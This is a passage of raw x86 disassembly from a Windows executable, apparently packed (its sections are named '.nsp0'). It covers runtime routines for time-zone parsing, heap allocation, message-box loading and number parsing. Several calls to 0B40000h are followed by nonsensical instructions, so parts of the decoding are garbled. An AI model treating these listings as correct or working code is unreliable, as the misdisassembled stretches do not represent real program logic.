sub_42456C endp ; =============== S U B R O U T I N E ======================================= sub_4245B2 proc near ; DATA XREF: .nsp0:00429030o push offset sub_42456C call dword_42701C ; SetUnhandledExceptionFilter mov dword_4E1718, eax retn sub_4245B2 endp ; --------------------------------------------------------------------------- push dword_4E1718 call dword_42701C ; SetUnhandledExceptionFilter retn ; =============== S U B R O U T I N E ======================================= sub_4245D0 proc near ; CODE XREF: sub_421C16+6Bp ; sub_422127+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 0B40000h int 3 ; Trap to Debugger test eax, eax jz short loc_4245E8 xor esi, esi loc_4245E8: ; CODE XREF: sub_4245D0+14j mov eax, esi pop esi retn sub_4245D0 endp ; =============== S U B R O U T I N E ======================================= sub_4245EC proc near ; CODE XREF: sub_422127+73p ; sub_422127+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 0B40000h cld test eax, eax jz short loc_424604 xor esi, esi loc_424604: ; CODE XREF: sub_4245EC+14j mov eax, esi pop esi retn sub_4245EC endp ; =============== S U B R O U T I N E ======================================= sub_424608 proc near ; CODE XREF: sub_422127+15Bp ; sub_42456C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call near ptr 0B40000h mov ch, 85h sal byte ptr [edx+eax+33h], 0F6h mov eax, esi pop esi retn sub_424608 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4223CC loc_424620: ; CODE XREF: sub_4223CC:loc_42241Dj push 0Ah call sub_4234E5 push 16h call sub_425781 pop ecx pop ecx push 3 call sub_41BE72 ; END OF FUNCTION CHUNK FOR sub_4223CC ; =============== S U B R O U T I N E ======================================= sub_424637 proc near ; CODE XREF: sub_4224A1:loc_4224E0p cmp dword_4E17D8, 0 jnz short locret_42464B call sub_42464C inc dword_4E17D8 locret_42464B: ; CODE XREF: sub_424637+7j retn sub_424637 endp ; =============== S U B R O U T I N E ======================================= sub_42464C proc near ; CODE XREF: sub_424637+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4E1720, ebp mov dword_442FC0, ebx mov dword_442FB0, ebx call sub_4258F3 mov esi, eax pop ecx cmp esi, ebp jnz loc_424775 push offset dword_4E1728 call near ptr 0B40000h cmp byte ptr [ebx], 0C3h jz loc_4248A4 mov eax, dword_4E1728 mov ecx, dword_4E177C imul eax, 3Ch cmp word_4E176E, bp push 1 pop edx mov dword_442F18, eax mov dword_4E1720, edx jz short loc_4246C3 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_442F18, eax loc_4246C3: ; CODE XREF: sub_42464C+69j cmp word_4E17C2, bp jz short loc_4246E7 mov eax, dword_4E17D0 cmp eax, ebp jz short loc_4246E7 sub eax, ecx mov dword_442F1C, edx imul eax, 3Ch mov dword_442F20, eax jmp short loc_4246F3 ; --------------------------------------------------------------------------- loc_4246E7: ; CODE XREF: sub_42464C+7Ej ; sub_42464C+87j mov dword_442F1C, ebp mov dword_442F20, ebp loc_4246F3: ; CODE XREF: sub_42464C+99j lea eax, [esp+14h+var_4] mov esi, dword_427180 push eax push ebp push 3Fh mov edi, 220h push off_442FA4 push ebx push offset dword_4E172C push edi push dword_4E15C0 call esi ; dword_427180 test eax, eax jz short loc_424730 cmp [esp+14h+var_4], ebp jnz short loc_424730 mov eax, off_442FA4 and byte ptr [eax+3Fh], 0 jmp short loc_424738 ; --------------------------------------------------------------------------- loc_424730: ; CODE XREF: sub_42464C+D1j ; sub_42464C+D7j mov eax, off_442FA4 and byte ptr [eax], 0 loc_424738: ; CODE XREF: sub_42464C+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_442FA8 push ebx push offset dword_4E1780 push edi push dword_4E15C0 call esi ; dword_427180 test eax, eax jz loc_42489C cmp [esp+14h+var_4], ebp jnz loc_42489C mov eax, off_442FA8 and byte ptr [eax+3Fh], 0 jmp loc_4248A4 ; --------------------------------------------------------------------------- loc_424775: ; CODE XREF: sub_42464C+2Dj cmp byte ptr [esi], 0 jz loc_4248A4 mov eax, dword_4E17D4 cmp eax, ebp jz short loc_424798 push eax push esi call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4248A4 loc_424798: ; CODE XREF: sub_42464C+139j push dword_4E17D4 call sub_41B961 push esi call sub_41B890 inc eax push eax call sub_41BBCB add esp, 0Ch cmp eax, ebp mov dword_4E17D4, eax jz loc_4248A4 push esi push eax call sub_41C550 push 3 push esi push off_442FA4 call sub_41BCA0 mov eax, off_442FA4 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_4247ED push 1 inc esi pop edi loc_4247ED: ; CODE XREF: sub_42464C+19Bj push esi call sub_41BD9E pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_442F18, ecx loc_424804: ; CODE XREF: sub_42464C+1C7j mov al, [esi] cmp al, 2Bh jz short loc_424812 cmp al, bl jl short loc_424815 cmp al, 39h jg short loc_424815 loc_424812: ; CODE XREF: sub_42464C+1BCj inc esi jmp short loc_424804 ; --------------------------------------------------------------------------- loc_424815: ; CODE XREF: sub_42464C+1C0j ; sub_42464C+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424868 inc esi push esi call sub_41BD9E imul eax, 3Ch pop ecx mov ecx, dword_442F18 add ecx, eax mov dword_442F18, ecx loc_424833: ; CODE XREF: sub_42464C+1F2j mov al, [esi] cmp al, bl jl short loc_424840 cmp al, 39h jg short loc_424840 inc esi jmp short loc_424833 ; --------------------------------------------------------------------------- loc_424840: ; CODE XREF: sub_42464C+1EBj ; sub_42464C+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424868 inc esi push esi call sub_41BD9E pop ecx mov ecx, dword_442F18 add ecx, eax mov dword_442F18, ecx loc_42485B: ; CODE XREF: sub_42464C+21Aj mov al, [esi] cmp al, bl jl short loc_424868 cmp al, 39h jg short loc_424868 inc esi jmp short loc_42485B ; --------------------------------------------------------------------------- loc_424868: ; CODE XREF: sub_42464C+1CCj ; sub_42464C+1F7j ... cmp edi, ebp jz short loc_424874 neg ecx mov dword_442F18, ecx loc_424874: ; CODE XREF: sub_42464C+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_442F1C, eax jz short loc_42489C push 3 push esi push off_442FA8 call sub_41BCA0 mov eax, off_442FA8 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_4248A4 ; --------------------------------------------------------------------------- loc_42489C: ; CODE XREF: sub_42464C+10Bj ; sub_42464C+115j ... mov eax, off_442FA8 and byte ptr [eax], 0 loc_4248A4: ; CODE XREF: sub_42464C+40j ; sub_42464C+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_42464C endp ; =============== S U B R O U T I N E ======================================= sub_4248AA proc near ; CODE XREF: sub_4224A1+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_442F1C, edi jnz short loc_4248BE loc_4248B7: ; CODE XREF: sub_4248AA+148j ; sub_4248AA+150j ... xor eax, eax jmp loc_424A0A ; --------------------------------------------------------------------------- loc_4248BE: ; CODE XREF: sub_4248AA+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_442FB0 jnz short loc_4248DC cmp eax, dword_442FC0 jz loc_4249DE loc_4248DC: ; CODE XREF: sub_4248AA+24j cmp dword_4E1720, edi jz loc_4249B4 movzx ecx, word_4E17CE push ecx cmp word_4E17C0, di movzx ecx, word_4E17CC push ecx movzx ecx, word_4E17CA push ecx movzx ecx, word_4E17C8 push ecx jnz short loc_42492E movzx ecx, word_4E17C4 push edi push ecx movzx ecx, word_4E17C6 push ecx movzx ecx, word_4E17C2 push ecx push eax push ebx jmp short loc_424942 ; --------------------------------------------------------------------------- loc_42492E: ; CODE XREF: sub_4248AA+65j movzx ecx, word_4E17C6 push ecx push edi movzx ecx, word_4E17C2 push edi push ecx push eax push edi loc_424942: ; CODE XREF: sub_4248AA+82j push ebx call sub_424A56 movzx eax, word_4E177A add esp, 2Ch cmp word_4E176C, di push eax movzx eax, word_4E1778 push eax movzx eax, word_4E1776 push eax movzx eax, word_4E1774 push eax jnz short loc_42499C movzx eax, word_4E1770 push edi push eax movzx eax, word_4E1772 push eax movzx eax, word_4E176E push eax push dword ptr [esi+14h] push ebx loc_424991: ; CODE XREF: sub_4248AA+108j push edi call sub_424A56 add esp, 2Ch jmp short loc_4249DE ; --------------------------------------------------------------------------- loc_42499C: ; CODE XREF: sub_4248AA+C8j movzx eax, word_4E1772 push eax push edi movzx eax, word_4E176E push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424991 ; --------------------------------------------------------------------------- loc_4249B4: ; CODE XREF: sub_4248AA+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424A56 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424A56 add esp, 58h loc_4249DE: ; CODE XREF: sub_4248AA+2Cj ; sub_4248AA+F0j mov edx, dword_442FB4 mov eax, dword_442FC4 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424A0E cmp ecx, edx jl loc_4248B7 cmp ecx, eax jg loc_4248B7 cmp ecx, edx jle short loc_424A22 cmp ecx, eax jge short loc_424A22 loc_424A08: ; CODE XREF: sub_4248AA+166j ; sub_4248AA+16Aj mov eax, ebx loc_424A0A: ; CODE XREF: sub_4248AA+Fj ; sub_4248AA+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424A0E: ; CODE XREF: sub_4248AA+144j cmp ecx, eax jl short loc_424A08 cmp ecx, edx jg short loc_424A08 cmp ecx, eax jle short loc_424A22 cmp ecx, edx jl loc_4248B7 loc_424A22: ; CODE XREF: sub_4248AA+158j ; sub_4248AA+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424A49 xor ecx, ecx cmp eax, dword_442FB8 setnl cl loc_424A45: ; CODE XREF: sub_4248AA+1AAj mov eax, ecx jmp short loc_424A0A ; --------------------------------------------------------------------------- loc_424A49: ; CODE XREF: sub_4248AA+18Ej xor ecx, ecx cmp eax, dword_442FC8 setl cl jmp short loc_424A45 sub_4248AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424A56 proc near ; CODE XREF: sub_4248AA+99p ; sub_4248AA+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424AF1 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424A81 shl esi, 2 mov eax, dword_442FC8[esi] jmp short loc_424A8A ; --------------------------------------------------------------------------- loc_424A81: ; CODE XREF: sub_424A56+1Ej shl esi, 2 mov eax, dword_442FFC[esi] loc_424A8A: ; CODE XREF: sub_424A56+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jge short loc_424AC4 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424ACE ; --------------------------------------------------------------------------- loc_424AC4: ; CODE XREF: sub_424A56+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424ACE: ; CODE XREF: sub_424A56+6Cj cmp [ebp+arg_10], 5 jnz short loc_424B0C cmp [ebp+arg_8], 0 jnz short loc_424AE2 mov esi, dword_442FCC[esi] jmp short loc_424AE8 ; --------------------------------------------------------------------------- loc_424AE2: ; CODE XREF: sub_424A56+82j mov esi, dword_443000[esi] loc_424AE8: ; CODE XREF: sub_424A56+8Aj cmp ecx, esi jle short loc_424B0C sub ecx, 7 jmp short loc_424B0C ; --------------------------------------------------------------------------- loc_424AF1: ; CODE XREF: sub_424A56+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424B02 mov ecx, dword_442FC8[eax*4] jmp short loc_424B09 ; --------------------------------------------------------------------------- loc_424B02: ; CODE XREF: sub_424A56+A1j mov ecx, dword_442FFC[eax*4] loc_424B09: ; CODE XREF: sub_424A56+AAj add ecx, [ebp+arg_18] loc_424B0C: ; CODE XREF: sub_424A56+7Cj ; sub_424A56+94j ... cmp [ebp+arg_0], 1 jnz short loc_424B3D mov eax, [ebp+arg_1C] mov dword_442FB4, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_442FB0, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_442FB8, eax jmp short loc_424B92 ; --------------------------------------------------------------------------- loc_424B3D: ; CODE XREF: sub_424A56+BAj mov eax, [ebp+arg_1C] mov dword_442FC4, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_442F20 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_442FC8, eax jns short loc_424B75 add eax, 5265C00h dec ecx mov dword_442FC8, eax jmp short loc_424B86 ; --------------------------------------------------------------------------- loc_424B75: ; CODE XREF: sub_424A56+110j mov edx, 5265C00h cmp eax, edx jl short loc_424B8C sub eax, edx inc ecx mov dword_442FC8, eax loc_424B86: ; CODE XREF: sub_424A56+11Dj mov dword_442FC4, ecx loc_424B8C: ; CODE XREF: sub_424A56+126j mov dword_442FC0, ebx loc_424B92: ; CODE XREF: sub_424A56+E5j pop esi pop ebx pop ebp retn sub_424A56 endp ; =============== S U B R O U T I N E ======================================= sub_424B96 proc near ; CODE XREF: sub_422563+22p ; sub_422563+3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi imul esi, [esp+0Ch+arg_4] cmp esi, 0FFFFFFE0h mov ebx, esi ja short loc_424BB6 test esi, esi jnz short loc_424BB0 push 1 pop esi loc_424BB0: ; CODE XREF: sub_424B96+15j add esi, 0Fh and esi, 0FFFFFFF0h loc_424BB6: ; CODE XREF: sub_424B96+11j ; sub_424B96+65j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424BE7 cmp ebx, dword_44255C ja short loc_424BD2 push ebx call sub_41E6FD mov edi, eax pop ecx test edi, edi jnz short loc_424BFD loc_424BD2: ; CODE XREF: sub_424B96+2Dj push esi push 8 push dword_4E2B80 call dword_427148 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_424C09 loc_424BE7: ; CODE XREF: sub_424B96+25j cmp dword_4E1578, 0 jz short loc_424C09 push esi call sub_41F177 test eax, eax pop ecx jz short loc_424C0F jmp short loc_424BB6 ; --------------------------------------------------------------------------- loc_424BFD: ; CODE XREF: sub_424B96+3Aj push ebx push 0 push edi call sub_41BC40 add esp, 0Ch loc_424C09: ; CODE XREF: sub_424B96+4Fj ; sub_424B96+58j mov eax, edi loc_424C0B: ; CODE XREF: sub_424B96+7Bj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424C0F: ; CODE XREF: sub_424B96+63j xor eax, eax jmp short loc_424C0B sub_424B96 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422608 loc_424C13: ; CODE XREF: sub_422608+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4E2940, esi jle short loc_424C66 loc_424C22: ; CODE XREF: sub_422608+265Cj mov eax, dword_4E1924 mov eax, [eax+esi*4] test eax, eax jz short loc_424C5D test byte ptr [eax+0Ch], 83h jz short loc_424C41 push eax call sub_41B90B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424C41 inc edi loc_424C41: ; CODE XREF: sub_422608+262Aj ; sub_422608+2636j cmp esi, 14h jl short loc_424C5D mov eax, dword_4E1924 push dword ptr [eax+esi*4] call sub_41B961 mov eax, dword_4E1924 pop ecx and dword ptr [eax+esi*4], 0 loc_424C5D: ; CODE XREF: sub_422608+2624j ; sub_422608+263Cj inc esi cmp esi, dword_4E2940 jl short loc_424C22 loc_424C66: ; CODE XREF: sub_422608+2618j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_422608 ; =============== S U B R O U T I N E ======================================= sub_424C6B proc near ; CODE XREF: .nsp0:00422DB9p arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424C7C add esp, 0Ch retn sub_424C6B endp ; =============== S U B R O U T I N E ======================================= sub_424C7C proc near ; CODE XREF: sub_424C6B+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4E2A61[eax], cl jnz short loc_424CA9 cmp [esp+arg_4], 0 jz short loc_424CA2 movzx eax, word_44256A[eax*2] and eax, [esp+arg_4] jmp short loc_424CA4 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424C7C+16j xor eax, eax loc_424CA4: ; CODE XREF: sub_424C7C+24j test eax, eax jnz short loc_424CA9 retn ; --------------------------------------------------------------------------- loc_424CA9: ; CODE XREF: sub_424C7C+Fj ; sub_424C7C+2Aj push 1 pop eax retn sub_424C7C endp ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4E17DC, ebx push esi push edi jnz short loc_424CFC push offset aUser32_dll ; "user32.dll" call dword_4270B8 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_424D32 mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi ; dword_4270BC test eax, eax mov dword_4E17DC, eax jz short loc_424D32 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; dword_4270BC push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4E17E0, eax call esi ; dword_4270BC mov dword_4E17E4, eax loc_424CFC: ; CODE XREF: .nsp0:00424CB8j mov eax, dword_4E17E0 test eax, eax jz short loc_424D1B call eax ; dword_4E17E0 mov ebx, eax test ebx, ebx jz short loc_424D1B mov eax, dword_4E17E4 test eax, eax jz short loc_424D1B push ebx call eax ; dword_4E17E4 mov ebx, eax loc_424D1B: ; CODE XREF: .nsp0:00424D03j ; .nsp0:00424D0Bj ... push dword ptr [esp+18h] push dword ptr [esp+18h] push dword ptr [esp+18h] push ebx call dword_4E17DC ; MessageBoxA loc_424D2E: ; CODE XREF: .nsp0:00424D34j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424D32: ; CODE XREF: .nsp0:00424CC9j ; .nsp0:00424CE0j xor eax, eax jmp short loc_424D2E ; --------------------------------------------------------------------------- loc_424D36: ; CODE XREF: sub_423896+271p push ebp mov ebp, esp mov eax, 1000h call sub_41C1D0 push ebx mov ebx, [ebp+8] push esi xor esi, esi cmp ebx, dword_4E1920 jnb loc_424E6B mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4E1820[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_424E6B push 1 push esi push ebx call sub_42261C add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_424E75 push 2 push esi push ebx call sub_42261C add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_424E75 push edi mov edi, [ebp+0Ch] sub edi, eax test edi, edi jle short loc_424E18 push 1000h lea eax, [ebp-1000h] push esi push eax call sub_41BC40 push 8000h push ebx call sub_425970 add esp, 14h mov [ebp+0Ch], eax loc_424DCC: ; CODE XREF: .nsp0:00424DF3j mov eax, 1000h cmp edi, eax jge short loc_424DD7 mov eax, edi loc_424DD7: ; CODE XREF: .nsp0:00424DD3j push eax lea eax, [ebp-1000h] push eax push ebx call sub_42280E add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424DF5 sub edi, eax test edi, edi jle short loc_424E0B jmp short loc_424DCC ; --------------------------------------------------------------------------- loc_424DF5: ; CODE XREF: .nsp0:00424DEBj cmp dword_4E14FC, 5 jnz short loc_424E08 mov dword_4E14F8, 0Dh loc_424E08: ; CODE XREF: .nsp0:00424DFCj or esi, 0FFFFFFFFh loc_424E0B: ; CODE XREF: .nsp0:00424DF1j push dword ptr [ebp+0Ch] push ebx call sub_425970 pop ecx pop ecx jmp short loc_424E58 ; --------------------------------------------------------------------------- loc_424E18: ; CODE XREF: .nsp0:00424DA7j jge short loc_424E58 push 0 push dword ptr [ebp+0Ch] push ebx call sub_42261C push ebx call sub_4237BE add esp, 10h push eax call near ptr 0B40000h sub [ebx+1BDEF7F0h], cl div bh fimul word ptr [esi-7Dh] ; --------------------------------------------------------------------------- db 0FEh ; --------------------------------------------------------------------------- push dword ptr [ebp+15h] mov dword_4E14F8, 0Dh call dword_42708C ; RtlGetLastWin32Error mov dword_4E14FC, eax loc_424E58: ; CODE XREF: .nsp0:00424E16j ; .nsp0:loc_424E18j push 0 push dword ptr [ebp+8] push ebx call sub_42261C add esp, 0Ch mov eax, esi pop edi jmp short loc_424E78 ; --------------------------------------------------------------------------- loc_424E6B: ; CODE XREF: .nsp0:00424D50j ; .nsp0:00424D6Cj mov dword_4E14F8, 9 loc_424E75: ; CODE XREF: .nsp0:00424D84j ; .nsp0:00424D99j or eax, 0FFFFFFFFh loc_424E78: ; CODE XREF: .nsp0:00424E69j pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_424E7C proc near ; CODE XREF: sub_42402F+2Bp ; sub_42402F+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_424E92 cmp ecx, esi jnb short loc_424E95 loc_424E92: ; CODE XREF: sub_424E7C+10j push 1 pop eax loc_424E95: ; CODE XREF: sub_424E7C+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_424E7C endp ; =============== S U B R O U T I N E ======================================= sub_424E9D proc near ; CODE XREF: sub_424F56+40p ; sub_424F56+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_424E7C add esp, 0Ch test eax, eax jz short loc_424ECF lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_424E7C add esp, 0Ch test eax, eax jz short loc_424ECF inc dword ptr [esi+8] loc_424ECF: ; CODE XREF: sub_424E9D+19j ; sub_424E9D+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_424E7C add esp, 0Ch test eax, eax jz short loc_424EE7 inc dword ptr [esi+8] loc_424EE7: ; CODE XREF: sub_424E9D+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_424E7C add esp, 0Ch pop edi pop esi retn sub_424E9D endp ; =============== S U B R O U T I N E ======================================= sub_424EFB proc near ; CODE XREF: sub_424F56+30p ; sub_424F56+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_424EFB endp ; =============== S U B R O U T I N E ======================================= sub_424F29 proc near ; CODE XREF: sub_4254EE+1C8p ; sub_4259E6+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_424F29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F56 proc near ; CODE XREF: sub_42501D+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_424FCA push edi mov [ebp+arg_8], eax loc_424F7D: ; CODE XREF: sub_424F56+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_424EFB push ebx call sub_424EFB lea eax, [ebp+var_10] push eax push ebx call sub_424E9D push ebx call sub_424EFB mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_424E9D add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_424F7D xor edx, edx pop edi loc_424FCA: ; CODE XREF: sub_424F56+21j ; sub_424F56+9Fj cmp [ebx+8], edx jnz short loc_424FF7 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_424FCA ; --------------------------------------------------------------------------- loc_424FF7: ; CODE XREF: sub_424F56+77j mov esi, 8000h loc_424FFC: ; CODE XREF: sub_424F56+B9j test [ebx+8], esi jnz short loc_425011 push ebx call sub_424EFB add [ebp+var_4], 0FFFFh pop ecx jmp short loc_424FFC ; --------------------------------------------------------------------------- loc_425011: ; CODE XREF: sub_424F56+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_424F56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42501D proc near ; CODE XREF: sub_424378+17p ; sub_4243A5+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_425058: ; CODE XREF: sub_42501D+52j mov cl, [edi] cmp cl, 20h jz short loc_42506E cmp cl, 9 jz short loc_42506E cmp cl, 0Ah jz short loc_42506E cmp cl, 0Dh jnz short loc_425071 loc_42506E: ; CODE XREF: sub_42501D+40j ; sub_42501D+45j ... inc edi jmp short loc_425058 ; --------------------------------------------------------------------------- loc_425071: ; CODE XREF: sub_42501D+4Fj push 4 pop esi loc_425074: ; CODE XREF: sub_42501D+AEj ; sub_42501D+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4252F7 ; default ; jumptable 00425080 case 10 jmp off_4254BE[eax*4] ; switch jump loc_425087: ; DATA XREF: .nsp0:off_4254BEo cmp bl, 31h ; jumptable 00425080 case 0 jl short loc_425098 cmp bl, 39h jg short loc_425098 loc_425091: ; CODE XREF: sub_42501D+C4j ; sub_42501D+118j push 3 jmp loc_4252B5 ; --------------------------------------------------------------------------- loc_425098: ; CODE XREF: sub_42501D+6Dj ; sub_42501D+72j cmp bl, byte_442770 jnz short loc_4250A7 loc_4250A0: ; CODE XREF: sub_42501D+124j push 5 jmp loc_4252ED ; --------------------------------------------------------------------------- loc_4250A7: ; CODE XREF: sub_42501D+81j movsx eax, bl sub eax, 2Bh jz short loc_4250CD dec eax dec eax jz short loc_4250C1 sub eax, 3 jnz loc_425390 jmp loc_425150 ; --------------------------------------------------------------------------- loc_4250C1: ; CODE XREF: sub_42501D+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425074 ; --------------------------------------------------------------------------- loc_4250CD: ; CODE XREF: sub_42501D+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425074 ; --------------------------------------------------------------------------- loc_4250D6: ; CODE XREF: sub_42501D+63j ; DATA XREF: .nsp0:off_4254BEo cmp bl, 31h ; jumptable 00425080 case 1 mov [ebp+var_10], edx jl short loc_4250E3 cmp bl, 39h jle short loc_425091 loc_4250E3: ; CODE XREF: sub_42501D+BFj cmp bl, byte_442770 